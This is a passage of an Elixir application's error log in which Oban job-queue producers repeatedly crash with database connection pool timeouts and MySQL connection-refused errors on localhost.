    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-01 06:40:19.274247Z], limit: 5, uuid: "df2de05a-a078-4ab4-9d1a-4c782b2c77f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:35.052354Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217861>, refresh_timer: #Reference<0.2525715032.1074003971.217809>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-01 06:40:19.251122Z], limit: 20, uuid: "c967bf27-91a0-45cb-bb9d-09b1e03e1545", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:37.046340Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217859>, refresh_timer: #Reference<0.2525715032.1074003971.217823>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-01 06:40:19.250722Z], limit: 10, uuid: "7fb488d9-679e-4f88-8fd8-c13c4e28218f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:37.768435Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217860>, refresh_timer: #Reference<0.2525715032.1074003971.217827>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-01 06:40:19.250272Z], limit: 3, uuid: "53d93535-b8ec-4858-9c29-905317ea1205", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:42.995369Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.217864>, refresh_timer: #Reference<0.2525715032.1074003971.217850>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:41:55.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:55.532000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:56.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:56.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:58.274000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:01.531000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:02.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:04.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:04.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:04.356000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:05.203000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:05.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:06.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-03 05:41:55.239306Z], limit: 20, uuid: "49b765d5-4758-4643-9f48-c129bf860463", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.239311Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218113>, refresh_timer: #Reference<0.2525715032.1074003971.218098>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-03 05:41:55.238025Z], limit: 50, uuid: "a31ec3ea-1b2a-45d0-941f-297cf09d2756", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.238032Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218117>, refresh_timer: #Reference<0.2525715032.1110441985.227986>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-03 05:41:55.239145Z], limit: 5, uuid: "c71442ac-b968-46b3-b532-738133c97ecc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.239151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218114>, refresh_timer: #Reference<0.2525715032.1074003971.218092>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-03 05:41:55.241077Z], limit: 10, uuid: "68e5a7c6-1a3d-417c-8b92-58c5700f6658", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:41:55.241082Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1074003971.218116>, refresh_timer: #Reference<0.2525715032.1110441985.228027>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
